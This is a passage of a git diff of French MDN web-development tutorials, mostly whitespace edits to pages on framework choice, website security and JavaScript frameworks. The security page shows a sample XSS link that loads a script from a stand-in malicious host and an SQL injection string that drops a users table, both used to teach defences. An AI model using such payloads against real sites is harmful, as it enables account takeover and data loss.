liste transmises au modèle. > **Note :** Many other templating systems use a similar syntax, e.g.: Jinja2 (Python), handlebars (JavaScript), moustache (JavaScript), etc. @@ -170,22 +170,22 @@ Il existe de nombreux frameworks web pour presque tous les langages de programma Certains des facteurs qui peuvent affecter votre décision sont les suivants: -- **Effort d'apprentissage** : L'effort d'apprentissage d'un framework web dépend de votre familiarité avec le langage de programmation sous-jacent, de la cohérence de son API, de la qualité de sa documentation ainsi que de la taille et de l'activité de sa communauté. Si vous avez peu d'eqperience en programmation, pensez à Django (l’un des plus faciles à apprendre en fonction des critères ci-dessus). Si vous faites partie d'une équipe de développement qui possède déjà une expérience significative avec un framework web ou un langage de programmation particulier, il est logique de s'en tenir à cela. -- **Productivité** : la productivité mesure la rapidité avec laquelle vous pouvez créer de nouvelles fonctionnalités une fois que vous êtes familiarisé avec le framework. Elle inclut à la fois les efforts d'écriture et de maintenance du code (car vous ne pouvez pas écrire de nouvelles fonctionnalités alors que les anciennes sont endommagées). Un grand nombre des facteurs qui affectent la productivité sont similaires à ceux de "Effort d'apprentissage" - par ex. documentation, communauté, expérience en programmation, etc. - les autres facteurs incluent: +- **Effort d'apprentissage** : L'effort d'apprentissage d'un framework web dépend de votre familiarité avec le langage de programmation sous-jacent, de la cohérence de son API, de la qualité de sa documentation ainsi que de la taille et de l'activité de sa communauté. Si vous avez peu d'eqperience en programmation, pensez à Django (l’un des plus faciles à apprendre en fonction des critères ci-dessus). Si vous faites partie d'une équipe de développement qui possède déjà une expérience significative avec un framework web ou un langage de programmation particulier, il est logique de s'en tenir à cela. +- **Productivité** : la productivité mesure la rapidité avec laquelle vous pouvez créer de nouvelles fonctionnalités une fois que vous êtes familiarisé avec le framework. Elle inclut à la fois les efforts d'écriture et de maintenance du code (car vous ne pouvez pas écrire de nouvelles fonctionnalités alors que les anciennes sont endommagées). Un grand nombre des facteurs qui affectent la productivité sont similaires à ceux de "Effort d'apprentissage" - par ex. documentation, communauté, expérience en programmation, etc. - les autres facteurs incluent: - - *Objectif / origine du framework* : certains frameworks web ont été créés à l'origine pour résoudre certains types de problèmes, et restent meilleurs pour créer des applications web avec des contraintes similaires. Par exemple, Django a été créé pour soutenir le développement d'un site web de journal. Il est donc bon pour les blogs et les autres sites impliquant la publication d'éléments. En revanche, Flask est un cadre beaucoup plus léger et est idéal pour créer des applications web s'exécutant sur des périphériques intégrés. + - *Objectif / origine du framework* : certains frameworks web ont été créés à l'origine pour résoudre certains types de problèmes, et restent meilleurs pour créer des applications web avec des contraintes similaires. Par exemple, Django a été créé pour soutenir le développement d'un site web de journal. Il est donc bon pour les blogs et les autres sites impliquant la publication d'éléments. En revanche, Flask est un cadre beaucoup plus léger et est idéal pour créer des applications web s'exécutant sur des périphériques intégrés. - _Populaire vs Impopulaire_: Un framework populaire est un frameqork dans lequel il est recommandé de "meilleures" manières de résoudre un problème particulier. Les frameworks populaire ont tendance à être plus productifs lorsque vous essayez de résoudre des problèmes courants, car ils vous orientent dans la bonne direction, mais ils sont parfois moins flexibles. - - *Ressource incluses vs. l'obtenir vous-même* : certains frameworks web incluent des outils / bibliothèques qui traitent tous les problèmes que leurs développeurs peuvent penser "par défaut", tandis que des frameworks plus légers attendent des développeurs web qu'ils choisissent la solution aux problèmes de bibliothèques séparées (Django est un exemple inclue " tout " tandis que Flask est un exemple de framework très léger). Les frameworks qui incluent tout sont souvent plus faciles à démarrer car vous avez déjà tout ce dont vous avez besoin, et il est probable qu’il soit bien intégré et bien documenté. Cependant, si une structure plus petite contient tout ce dont vous avez besoin (le cas échéant), elle peut alors s'exécuter dans des environnements plus restreints et disposer d'un sous-ensemble de choses plus petites et plus faciles à apprendre. - - *Si le framework encourage ou non les bonnes pratiques de développement* : par exemple, un cadre qui encourage une architecture Model-View-Controller où on sépare le code en fonctions logiques engendrera un code plus facile à maintenir qu'un code qui n'a pas d'attente de la part des développeurs. De même, la conception de la structure peut avoir un impact important sur la facilité de test et de réutilisation du code. + - *Ressource incluses vs. l'obtenir vous-même* : certains frameworks web incluent des outils / bibliothèques qui traitent tous les problèmes que leurs développeurs peuvent penser "par défaut", tandis que des frameworks plus légers attendent des développeurs web qu'ils choisissent la solution aux problèmes de bibliothèques séparées (Django est un exemple inclue " tout " tandis que Flask est un exemple de framework très léger). Les frameworks qui incluent tout sont souvent plus faciles à démarrer car vous avez déjà tout ce dont vous avez besoin, et il est probable qu’il soit bien intégré et bien documenté. Cependant, si une structure plus petite contient tout ce dont vous avez besoin (le cas échéant), elle peut alors s'exécuter dans des environnements plus restreints et disposer d'un sous-ensemble de choses plus petites et plus faciles à apprendre. + - *Si le framework encourage ou non les bonnes pratiques de développement* : par exemple, un cadre qui encourage une architecture Model-View-Controller où on sépare le code en fonctions logiques engendrera un code plus facile à maintenir qu'un code qui n'a pas d'attente de la part des développeurs. De même, la conception de la structure peut avoir un impact important sur la facilité de test et de réutilisation du code. -- **Performances du framework/langage de programmation** : généralement, la *vitesse* n’est pas le facteur le plus important dans la sélection car même des exécutions relativement lentes, comme Python, sont plus que *suffisantes* pour les sites de taille moyenne fonctionnant avec un matériel raisonnablement performant. Les avantages perçus en termes de vitesse par rapport à un autre langage comme C++ ou JavaScript peuvent être compensés par les coûts d’apprentissage et de maintenance. -- **Mise en cache** : la popularité de votre site web grandit, vous constatez peut-être que le serveur ne peut plus gérer toutes les requêtes. À ce stade, vous pouvez envisager d’ajouter un support pour la mise en cache : une optimisation dans laquelle vous stockez tout ou partie de la réponse à une requête web afin qu'il ne soit pas nécessaire de la recalculer la prochaine fois. Retourner la réponse en cache à une requête est beaucoup plus rapide que d'en calculer une. La mise en cache peut être implémentée dans votre code ou sur le serveur (voir proxy inverse). Les infrastructures web auront différents niveaux de prise en charge pour définir le contenu pouvant être mis en cache. -- **Adpatation** : votre site web connaît un succès fantastique, vous avez épuisé les avantages de la mise en cache, vous atteignez même les limites de la mise à l'échelle verticale (exécuter votre application Web sur un matériel plus puissant). À ce stade, il est temps de penser à une mise à l’échelle horizontale (partager la charge en répartissant votre site sur un certain nombre de serveurs web et de bases de données) ou «géographiquement», car certains de vos clients sont très éloignés de votre serveur. L'infrastructure web que vous choisissez peut faire toute la différence en termes de facilité d'adaptation de votre site. -- **Sécurité web** : certains environnements web offrent une meilleure prise en charge de la gestion des attaques web courantes. Django, par exemple, supprime toutes les entrées utilisateur des modèles HTML afin que le code JavaScript saisi par l'utilisateur ne puisse pas être exécuté. D'autres frameworks offrent une protection similaire, mais celle-ci n'est pas toujours activée par défaut. +- **Performances du framework/langage de programmation** : généralement, la *vitesse* n’est pas le facteur le plus important dans la sélection car même des exécutions relativement lentes, comme Python, sont plus que *suffisantes* pour les sites de taille moyenne fonctionnant avec un matériel raisonnablement performant. Les avantages perçus en termes de vitesse par rapport à un autre langage comme C++ ou JavaScript peuvent être compensés par les coûts d’apprentissage et de maintenance. +- **Mise en cache** : la popularité de votre site web grandit, vous constatez peut-être que le serveur ne peut plus gérer toutes les requêtes. À ce stade, vous pouvez envisager d’ajouter un support pour la mise en cache : une optimisation dans laquelle vous stockez tout ou partie de la réponse à une requête web afin qu'il ne soit pas nécessaire de la recalculer la prochaine fois. Retourner la réponse en cache à une requête est beaucoup plus rapide que d'en calculer une. La mise en cache peut être implémentée dans votre code ou sur le serveur (voir proxy inverse). Les infrastructures web auront différents niveaux de prise en charge pour définir le contenu pouvant être mis en cache. +- **Adpatation** : votre site web connaît un succès fantastique, vous avez épuisé les avantages de la mise en cache, vous atteignez même les limites de la mise à l'échelle verticale (exécuter votre application Web sur un matériel plus puissant). À ce stade, il est temps de penser à une mise à l’échelle horizontale (partager la charge en répartissant votre site sur un certain nombre de serveurs web et de bases de données) ou «géographiquement», car certains de vos clients sont très éloignés de votre serveur. L'infrastructure web que vous choisissez peut faire toute la différence en termes de facilité d'adaptation de votre site. +- **Sécurité web** : certains environnements web offrent une meilleure prise en charge de la gestion des attaques web courantes. Django, par exemple, supprime toutes les entrées utilisateur des modèles HTML afin que le code JavaScript saisi par l'utilisateur ne puisse pas être exécuté. D'autres frameworks offrent une protection similaire, mais celle-ci n'est pas toujours activée par défaut. Il existe de nombreux autres facteurs possibles, y compris les licences, que le cadre soit ou non en cours de développement actif, etc. -Si vous débutez en programmation, vous choisirez probablement un framework facile à prendre en main. Une documentation riche et une communauté active sont également des critères pertinents pour votre choix. Pour la suite de ce cours, nous avons choisi Django (Python) et Express (Node/JavaScript) principalement parce que ces frameworks sont faciles à apprendre et bénéficient d'un bon soutien. +Si vous débutez en programmation, vous choisirez probablement un framework facile à prendre en main. Une documentation riche et une communauté active sont également des critères pertinents pour votre choix. Pour la suite de ce cours, nous avons choisi Django (Python) et Express (Node/JavaScript) principalement parce que ces frameworks sont faciles à apprendre et bénéficient d'un bon soutien. > **Note :** Let's go to the main websites for [Django](https://www.djangoproject.com/) (Python) and [Express](http://expressjs.com/) (Node/JavaScript) and check out their documentation and community. > diff --git a/files/fr/learn/server-side/first_steps/website_security/index.md b/files/fr/learn/server-side/first_steps/website_security/index.md index 5ea6284730..abdb71fd01 100644 --- a/files/fr/learn/server-side/first_steps/website_security/index.md +++ b/files/fr/learn/server-side/first_steps/website_security/index.md @@ -11,7 +11,7 @@ original_slug: Learn/Server-side/Premiers_pas/Website_security --- {{LearnSidebar}}{{PreviousMenu("Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/Premiers_pas")}} -La sécurité d'un site web exige de la vigilance dans tous les aspects de sa conception et de son utilisation. Cet article d'introduction ne fera pas de vous un gourou de la sécurité des sites web, mais il vous aidera à comprendre d'où viennent les menaces et ce que vous pouvez faire pour renforcer votre application web contre les attaques les plus courantes. +La sécurité d'un site web exige de la vigilance dans tous les aspects de sa conception et de son utilisation. Cet article d'introduction ne fera pas de vous un gourou de la sécurité des sites web, mais il vous aidera à comprendre d'où viennent les menaces et ce que vous pouvez faire pour renforcer votre application web contre les attaques les plus courantes. <table class="standard-table"> <tbody> @@ -34,13 +34,13 @@ La sécurité d'un site web exige de la vigilance dans tous les aspects de sa c Internet est un endroit dangereux ! Fréquemment, nous entendons parler de sites web devenus indisponibles en raison d'attaques par déni de service, ou affichant des informations modifiées (et souvent préjudiciables) sur leurs pages d'accueil. Dans d'autres cas, très médiatisés, des millions de mots de passe, d'adresses électroniques et de détails sur des cartes de crédit sont divulgués au public, exposant les utilisateurs du site web à la fois à l'embarras personnel et au risque de pertes financières. -L'objectif de la sécurité des sites web est de prévenir ces types d'attaques. Plus formellement, la sécurité des sites web est l'acte de protéger les sites web contre l'accès, l'utilisation, la modification, la destruction ou la perturbation non autorisées. +L'objectif de la sécurité des sites web est de prévenir ces types d'attaques. Plus formellement, la sécurité des sites web est l'acte de protéger les sites web contre l'accès, l'utilisation, la modification, la destruction ou la perturbation non autorisées. -La sécurité efficace d'un site web nécessite un effort de conception sur l'ensemble du site : dans votre application web, dans la configuration du serveur web, dans vos politiques de création et de renouvellement des mots de passe et dans le code côté-client. Bien que tout cela semble très inquiétant, la bonne nouvelle est que si vous utilisez un framework web côté serveur, il incluera certainement par défaut des mécanismes de défense solides et bien pensés contre un certain nombre des attaques les plus courantes. D'autres attaques peuvent être atténuées grâce à la configuration de votre serveur web, par exemple en activant HTTPS. Enfin, les outils d'analyse de vulnérabilité accessibles au public peuvent vous aider à découvrir d'éventuelles erreurs dans votre conception. +La sécurité efficace d'un site web nécessite un effort de conception sur l'ensemble du site : dans votre application web, dans la configuration du serveur web, dans vos politiques de création et de renouvellement des mots de passe et dans le code côté-client. Bien que tout cela semble très inquiétant, la bonne nouvelle est que si vous utilisez un framework web côté serveur, il incluera certainement par défaut des mécanismes de défense solides et bien pensés contre un certain nombre des attaques les plus courantes. D'autres attaques peuvent être atténuées grâce à la configuration de votre serveur web, par exemple en activant HTTPS. Enfin, les outils d'analyse de vulnérabilité accessibles au public peuvent vous aider à découvrir d'éventuelles erreurs dans votre conception. Le reste de cet article détaille les menaces les plus courantes qui pèsent sur les sites web et quelques étapes simples pour protèger votre site. -> **Note :** ceci est un article d'introduction, conçu pour vous aider à réflechir à la sécurité de votre site web. Il n'est en rien exhaustif. +> **Note :** ceci est un article d'introduction, conçu pour vous aider à réflechir à la sécurité de votre site web. Il n'est en rien exhaustif. ## Menaces visant la sécurité des sites web @@ -54,7 +54,7 @@ XSS est un terme utilisé pour décrire une classe d'attaque qui permet à l'att Il y a deux manières principales pour demander au site de retourner un script injecté vers un navigateur web — elles sont désignées en tant que vulnérabilités XSS _réfléchie_ et _persistante_. -- Une vulnérabilité XSS réfléchie se produit quand le contenu de l'utilisateur transmis au serveur est immédiatement retourné, sans avoir été modifié, pour être affiché dans le navigateur — tout les scripts présents dans le contenu d'origine seront exécutés quand la nouvelle page sera chargée! +- Une vulnérabilité XSS réfléchie se produit quand le contenu de l'utilisateur transmis au serveur est immédiatement retourné, sans avoir été modifié, pour être affiché dans le navigateur — tout les scripts présents dans le contenu d'origine seront exécutés quand la nouvelle page sera chargée! On prendra par exemple une fonction de recherche dans un site où les termes recherchés sont encodés en tant que paramètres dans l'URL, et que ces termes sont affichés en permanence avec les résultats. Un attaquant peut construire un lien de recherche contenant un script malicieux en tant que paramètre (ex: `http://mysite.com?q=beer<script%20src="http://sitedangereux.com/malicieux.js"></script>`) et le transmettre par e-mail à un autre utilisateur. Si l'utilisateur ciblé clique sur ce "lien intéressant", le script sera exécuté quand les résultats de la recherche seront affichés. Comme vu auparavant, cela donne à l'attaquant toute les informations dont il a besoin pour se connecter sur le site avec le compte de la victime — potentiellement faire des achats en tant que cet utilisateur ou accèder à la liste de contacts.. - Une vulnérabilité XSS _persistante_ sera celle où le script malicieux est stocké sur le site web puis affiché, sans modification, un peu plus tard par les autres utilisateurs et exécuté à leur insu. Par exemple, un écran de discussion qui accepte les commentaires contenant du code HTML pur peuvent stocker le script malicieux de l'attaquant. Quand les commentaires sont affichés le script est exécuté et peut ensuite transmettre à l'attaquant les informations nécessaires pour accèder au compte de l'utilisateur. Cette méthode d'attaque est extrêmement courante et efficace, parce que l'attaquant n'a pas besoin d'avoir une relation directe avec les victimes. @@ -63,7 +63,7 @@ Il y a deux manières principales pour demander au site de retourner un script i La meilleur défense contre les vulnérabilités XSS est de supprimer ou désactiver toutes les balises qui peuvent potentiellement contenir des instructions pour exécuter du code. Pour HTML cela inclut les tags comme `<script>`, `<object>`, `<embed>`, et `<link>`. -Il est nécessaire de traiter les données saisies par l'utilisateur pour être sûr qu'il ne puisse ni exécuter de scripts ni pertuber le fonctionnement normal du site (ce procédé est appelé *input sanitization* en anglais). De nombreux frameworks proposent par défaut cette vérification sur les entrées des formulaires. +Il est nécessaire de traiter les données saisies par l'utilisateur pour être sûr qu'il ne puisse ni exécuter de scripts ni pertuber le fonctionnement normal du site (ce procédé est appelé *input sanitization* en anglais). De nombreux frameworks proposent par défaut cette vérification sur les entrées des formulaires. ### Injection SQL @@ -75,7 +75,7 @@ Cette vulnérabilité est présente quand la saisie de l'utilisateur est transmi statement = "SELECT * FROM users WHERE name = '" + userName + "';" ``` -Si l'utilisateur entre un nom correct cela marchera comme voulu. Cependant un utilisateur malveillant peut changer complètement le sens de cette requête SQL pour obtenir la requête qui suit, simplement en ajoutant le texte, **en gras** ci dessous, en tant que nom, cette requête, modifiée, va créer une requête SQL valide qui va supprimer la table `users` et sélectionner toute les données de la table `userinfo` (révèlant les informations de chaque utilisateur). Tout cela est rendu possible à cause du début du texte injecté (`'a';`) qui va complèter la requête d'origine (`'` est le symbole pour délimiter une chaine de texte en SQL). +Si l'utilisateur entre un nom correct cela marchera comme voulu. Cependant un utilisateur malveillant peut changer complètement le sens de cette requête SQL pour obtenir la requête qui suit, simplement en ajoutant le texte, **en gras** ci dessous, en tant que nom, cette requête, modifiée, va créer une requête SQL valide qui va supprimer la table `users` et sélectionner toute les données de la table `userinfo` (révèlant les informations de chaque utilisateur). Tout cela est rendu possible à cause du début du texte injecté (`'a';`) qui va complèter la requête d'origine (`'` est le symbole pour délimiter une chaine de texte en SQL). ```sql SELECT * FROM users WHERE name = 'a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't'; @@ -132,9 +132,9 @@ La majorité des attaques citées précédement réusissent lorsque l'applicatio Quelques autres points que vous pouvez mettre en place : - Utilisez une politique de gestion des mots de passe efficace. Encouragez les mots de passe solides avec leur renouvellement fréquent. Prenez en compte une authentification à deux facteurs sur votre site (l'utilisateur, en plus du mot de passe, devra fournir un autre code d'authentification généralement fourni par un matériel physique, que seul l'utilisateur possède, comme un code envoyé sur le téléphone par SMS). -- Configurez vos serveurs web pour utiliser [HTTPS](/fr/docs/Glossary/https) et [HTTP Strict Transport Security](/fr/docs/Web/Security/HTTP_strict_transport_security) (HSTS). HTTPS chiffre les données transmises entre le client et le serveur. Cela garantit que les données d'authentification, les cookies, les données transistant avec `POST` et les informations d'en-têtes deviennent moins disponibles pour l'attaquant. +- Configurez vos serveurs web pour utiliser [HTTPS](/fr/docs/Glossary/https) et [HTTP Strict Transport Security](/fr/docs/Web/Security/HTTP_strict_transport_security) (HSTS). HTTPS chiffre les données transmises entre le client et le serveur. Cela garantit que les données d'authentification, les cookies, les données transistant avec `POST` et les informations d'en-têtes deviennent moins disponibles pour l'attaquant. - Tenez vous informé des dernières menaces ([la liste actuelle d'OWASP est ici](/fr/docs/)) et préoccupez vous toujours des vulnerabilités les plus courantes en premier. -- Utilisez [des outils de recherche de vulnérabilités](https://www.owasp.org/index.php/Category:Vulnerability_Scanning_Tools) pour faire automatiquement des recherches de bug sur votre site (votre site pourra également proposer un programme de _buf bounty_ pour déceler des bugs, [comme le fait Mozilla ici](https://www.mozilla.org/en-US/security/bug-bounty/faq-webapp/)). +- Utilisez [des outils de recherche de vulnérabilités](https://www.owasp.org/index.php/Category:Vulnerability_Scanning_Tools) pour faire automatiquement des recherches de bug sur votre site (votre site pourra également proposer un programme de _buf bounty_ pour déceler des bugs, [comme le fait Mozilla ici](https://www.mozilla.org/en-US/security/bug-bounty/faq-webapp/)). - Ne stockez et n'affichez que les données nécessaires. Par exemple, si votre utilisateur doit stocker des données sensibles comme des informations bancaires, affichez seulement ce qui sera suffisant pour être identifié par l'utilisateur, mais pas suffisament pour être copié par un attaquant et être utilisé sur un autre site. La méthode la plus courante en ce moment est de n'afficher que les quatre derniers chiffres du numéro de carte bancaire. Les frameworks web peuvent aider à atténuer beaucoup des vulnérabilités les plus courantes. diff --git a/files/fr/learn/tools_and_testing/client-side_javascript_frameworks/index.md b/files/fr/learn/tools_and_testing/client-side_javascript_frameworks/index.md index 7ffca23234..8af43d3bec 100644 --- a/files/fr/learn/tools_and_testing/client-side_javascript_frameworks/index.md +++ b/files/fr/learn/tools_and_testing/client-side_javascript_frameworks/index.md @@ -20,7 +20,7 @@ Dans cet ensemble d'articles, nous chercherons à vous donner un point de dépar - Pourquoi devrais-je utiliser un framework ? Quels problèmes résolvent-ils pour moi ? - Quelles questions devrais-je me poser pour choisir un framework ? Ai-je au moins besoin d'un framework ? -- Quelles fonctionnalités proposent les frameworks ? Comment fonctionnent-ils en général et comment diffèrent leurs implantations de ces fonctionnalités ? +- Quelles fonctionnalités proposent les frameworks ? Comment fonctionnent-ils en général et comment diffèrent leurs implantations de ces fonctionnalités ? - Comment se rapportent-ils au JavaScript "vanilla" ou à l'HTML ? Après ceci, nous vous fournirons quelques tutoriels couvrant les notions fondamentales de certains des principaux frameworks afin de vous fournir suffisamment de contexte et de familiarité pour commencer à approfondir par vous-même. Nous voulons que vous puissiez progresser et en apprendre plus sur les frameworks de manière pragmatique sans oublier les bonnes pratiques fondamentales du web telles que l'accessibilité. @@ -123,7 +123,7 @@ Nous avons créé un cours qui inclut toutes les informations essentielles dont <!----> - [2. Commencer notre application todolist avec Svelte](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_Todo_list_beginning) - - : Maintenant que nous avons compris les bases du fonctionnement de Svelte, nous pouvons commencer à construirer application démonstrative : une liste de tâches. Dans cet article, nous verrons d'abord les fonctionnalités attendues dans notre application, puis nous créerons un composant Todos.svelte et mettrons en place un HTML statique et du CSS, prêts pour commencer le développement des fonctionnalités de notre application de liste de tâches avec laquelle nous continuerons dans les articles suivants. + - : Maintenant que nous avons compris les bases du fonctionnement de Svelte, nous pouvons commencer à construirer application démonstrative : une liste de tâches. Dans cet article, nous verrons d'abord les fonctionnalités attendues dans notre application, puis nous créerons un composant Todos.svelte et mettrons en place un HTML statique et du CSS, prêts pour commencer le développement des fonctionnalités de notre application de liste de tâches avec laquelle nous continuerons dans les articles suivants. - [3. Comportements dynamiques dans Svelte : travailler avec les variables et les propriétés](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_variables_props) - : Maintenant que nous avons HTML et notre CSS, nous pouvons commencer le développement des fonctionnalités attendues pour notre application de liste de tâches Svelte. Dans cet article, nous utiliserons des variables et propriétés pour rendre notre application dynamique, nous permettant d'ajouter et de supprimer des tâches, de les marquer comme terminées et de les filter par état. - [4. Diviser notre application Svelte en composants](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_components) diff --git a/files/fr/learn/tools_and_testing/client-side_javascript_frameworks/introduction/index.md b/files/fr/learn/tools_and_testing/client-side_javascript_frameworks/introduction/index.md index 70b4132d25..87c647f053 100644 --- a/files/fr/learn/tools_and_testing/client-side_javascript_frameworks/introduction/index.md +++ b/files/fr/learn/tools_and_testing/client-side_javascript_frameworks/introduction/index.md @@ -44,15 +44,15 @@ There are many frameworks out there, but currently the "big four" are considered ### Ember -[Ember](https://emberjs.com/) was initially released in December 2011 as a continuation of work that started in the [SproutCore](https://en.wikipedia.org/wiki/SproutCore) project. It is an older framework that has less users than more modern alternatives such as React and Vue, but it still enjoys a fair amount of popularity due to its stability, community support, and some clever coding principles. +[Ember](https://emberjs.com/) was initially released in December 2011 as a continuation of work that started in the [SproutCore](https://en.wikipedia.org/wiki/SproutCore) project. It is an older framework that has less users than more modern alternatives such as React and Vue, but it still enjoys a fair amount of popularity due to its stability, community support, and some clever coding principles. [Start learning Ember](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_getting_started) ### Angular -[Angular](https://angular.io) is an open-source web application framework led by the Angular Team at Google and by a community of individuals and corporations. It is a complete rewrite from the same team that built [AngularJS](https://angularjs.org/). Angular was officially released on the 14th of September 2016. +[Angular](https://angular.io) is an open-source web application framework led by the Angular Team at Google and by a community of individuals and corporations. It is a complete rewrite from the same team that built [AngularJS](https://angularjs.org/). Angular was officially released on the 14th of September 2016. -Angular is a component-based framework which uses declarative HTML templates. At build time, transparently to developers, the framework's compiler translates the templates to optimized JavaScript instructions. Angular uses [TypeScript](https://www.typescriptlang.org/), a superset of JavaScript that we’ll look at in a little more detail in the next chapter. +Angular is a component-based framework which uses declarative HTML templates. At build time, transparently to developers, the framework's compiler translates the templates to optimized JavaScript instructions. Angular uses [TypeScript](https://www.typescriptlang.org/), a superset of JavaScript that we’ll look at in a little more detail in the next chapter. ### Vue @@ -167,7 +167,7 @@ Read more about the JavaScript used in this section: Every JavaScript framework offers a way to write user interfaces more _declaratively_. That is, they allow you to write code that describes how your UI should look, and the framework makes it happen in the DOM behind the scenes. -The vanilla JavaScript approach to building out new DOM elements in repetition was difficult to understand at a glance. By contrast, the following block of code illustrates the way you might use Vue to describe our list of tasks: +The vanilla JavaScript approach to building out new DOM elements in repetition was difficult to understand at a glance. By contrast, the following block of code illustrates the way you might use Vue to describe our list of tasks: ```html <ul> diff --git a/files/fr/learn/tools_and_testing/client-side_javascript_frameworks/main_features/index.md b/files/fr/learn/tools_and_testing/client-side_javascript_frameworks/main_features/index.md index c51043feed..bbc0880946 100644 --- a/files/fr/learn/tools_and_testing/client-side_javascript_frameworks/main_features/index.md +++ b/files/fr/learn/tools_and_testing/client-side_javascript_frameworks/main_features/index.md @@ -1,5 +1,5 @@ --- -title: Fonctionnalités principales des framework +title: Fonctionnalités principales des framework slug: Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Main_features translation_of: Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Main_features --- @@ -116,7 +116,7 @@ function add(a: number, b: number) { } ``` -The `: number` written after each parameter here tells TypeScript that both `a` and `b` must be numbers. If we were to use this function and pass `'2'` into it as an argument, TypeScript would raise an error during compilation, and we would be forced to fix our mistake. We could write our own JavaScript that raises these errors for us, but it would make our source code significantly more verbose. It probably makes more sense to let TypeScript handle such checks for us. +The `: number` written after each parameter here tells TypeScript that both `a` and `b` must be numbers. If we were to use this function and pass `'2'` into it as an argument, TypeScript would raise an error during compilation, and we would be forced to fix our mistake. We could write our own JavaScript that raises these errors for us, but it would make our source code significantly more verbose. It probably makes more sense to let TypeScript handle such checks for us. ## Writing components @@ -291,7 +291,7 @@ All applications benefit from test coverage that ensures your software continues Each framework has extensive tools in its ecosystem, with capabilities for unit and integration testing alike. -[Testing Library](https://testing-library.com/) is a suite of testing utilities that has tools for many JavaScript environments, including React, Vue, and Angular. The Ember docs cover the [testing of Ember apps](https://guides.emberjs.com/release/testing/). +[Testing Library](https://testing-library.com/) is a suite of testing utilities that has tools for many JavaScript environments, including React, Vue, and Angular. The Ember docs cover the [testing of Ember apps](https://guides.emberjs.com/release/testing/). Here’s a quick test for our `CounterButton` written with the help of React Testing Library — it tests a number of things, such as the button's existence, and whether the button is displaying the correct text after being clicked 0, 1, and 2 times: diff --git a/files/fr/learn/tools_and_testing/client-side_javascript_frameworks/react_getting_started/index.md b/files/fr/learn/tools_and_testing/client-side_javascript_frameworks/react_getting_started/index.md index 46ee16870a..2f2be02e7a 100644 --- a/files/fr/learn/tools_and_testing/client-side_javascript_frameworks/react_getting_started/index.md +++ b/files/fr/learn/tools_and_testing/client-side_javascript_frameworks/react_getting_started/index.md @@ -277,7 +277,7 @@ function App() { The `App` function returns a JSX expression. This expression defines what your browser ultimately renders to the DOM. -Some elements in the expression have attributes, which are written just like in HTML, following a pattern of `attribute="value"`. On line 3, the opening [`<div>`](/fr/docs/Web/HTML/Element/div) tag has a `className` attribute. This is the same as the [`class`](/fr/docs/Web/HTML/Global_attributes/class) attribute in HTML, but because JSX is JavaScript, we can't use the word `class` – it's reserved, meaning JavaScript already uses it for a specific purpose and it would cause problems here in our code. A few other HTML attributes are written differently in JSX than they are in HTML too, for the same kind of reason. We'll cover them as we encounter them. +Some elements in the expression have attributes, which are written just like in HTML, following a pattern of `attribute="value"`. On line 3, the opening [`<div>`](/fr/docs/Web/HTML/Element/div) tag has a `className` attribute. This is the same as the [`class`](/fr/docs/Web/HTML/Global_attributes/class) attribute in HTML, but because JSX is JavaScript, we can't use the word `class` – it's reserved, meaning JavaScript already uses it for a specific purpose and it would cause problems here in our code. A few other HTML attributes are written differently in JSX than they are in HTML too, for the same kind of reason. We'll cover them as we encounter them. Take a moment to change the [`<p>`](/fr/docs/Web/HTML/Element/p) tag on line 6 so that it reads "Hello, world!", then save your file. You'll notice that this change is immediately rendered in the development server running at `http://localhost:3000` in your browser. Now delete the [`<a>`](/fr/docs/Web/HTML/Element/a) tag and save; the "Learn React" link will be gone. diff --git a/files/fr/learn/tools_and_testing/client-side_javascript_frameworks/react_todo_list_beginning/index.md b/files/fr/learn/tools_and_testing/client-side_javascript_frameworks/react_todo_list_beginning/index.md index e4f128d8a4..bb6d20ee58 100644 --- a/files/fr/learn/tools_and_testing/client-side_javascript_frameworks/react_todo_list_beginning/index.md +++ b/files/fr/learn/tools_and_testing/client-side_javascript_frameworks/react_todo_list_beginning/index.md @@ -232,7 +232,7 @@ Further down, you can find our [`<ul>`](/fr/docs/Web/HTML/Element/ul) element: > ``` -The `role` attribute helps assistive technology explain what kind of element a tag represents. A `<ul>` is treated like a list by default, but the styles we're about to add will break that functionality. This role will restore the "list" meaning to the `<ul>` element. If you want to learn more about why this is necessary, you can check out [Scott O'Hara’s article, “Fixing Lists”](https://www.scottohara.me/blog/2019/01/12/lists-and-safari.html). +The `role` attribute helps assistive technology explain what kind of element a tag represents. A `<ul>` is treated like a list by default, but the styles we're about to add will break that functionality. This role will restore the "list" meaning to the `<ul>` element. If you want to learn more about why this is necessary, you can check out [Scott O'Hara’s article, “Fixing Lists”](https://www.scottohara.me/blog/2019/01/12/lists-and-safari.html). The `aria-labelledby` attribute tells assistive technologies that we're treating our list heading as the label that describes the purpose of the list beneath it. Making this association gives the list a more informative context, which could help screen reader users better understand the purpose of it. @@ -245,14 +245,14 @@ Finally, the labels and inputs in our list items have some attributes unique to </label> ``` -The `defaultChecked` attribute in the `<input/ >` tag tells React to check this checkbox initially. If we were to use `checked`, as we would in regular HTML, React would log some warnings into our browser console relating to handling events on the checkbox, which we want to avoid. Don't worry too much about this for now — we will cover this later on when we get to using events. +The `defaultChecked` attribute in the `<input/ >` tag tells React to check this checkbox initially. If we were to use `checked`, as we would in regular HTML, React would log some warnings into our browser console relating to handling events on the checkbox, which we want to avoid. Don't worry too much about this for now — we will cover this later on when we get to using events. -The `htmlFor` attribute corresponds to the `for` attribute used in HTML. We cannot use `for` as an attribute in JSX because `for` is a reserved word, so React uses `htmlFor` instead. +The `htmlFor` attribute corresponds to the `for` attribute used in HTML. We cannot use `for` as an attribute in JSX because `for` is a reserved word, so React uses `htmlFor` instead. Notes: - To use boolean values (`true` and `false`) in JSX attributes, you must enclose them in curly braces. If you write `defaultChecked="true"`, the value of `defaultChecked` will be `"true"` — a string literal. Remember — this is actually JavaScript, not HTML! -- The `aria-pressed` attribute used in our earlier code snippet has a value of `"true"` because `aria-pressed` is not a true boolean attribute in the way `checked` is. +- The `aria-pressed` attribute used in our earlier code snippet has a value of `"true"` because `aria-pressed` is not a true boolean attribute in the way `checked` is. ### Implementing our styles diff --git 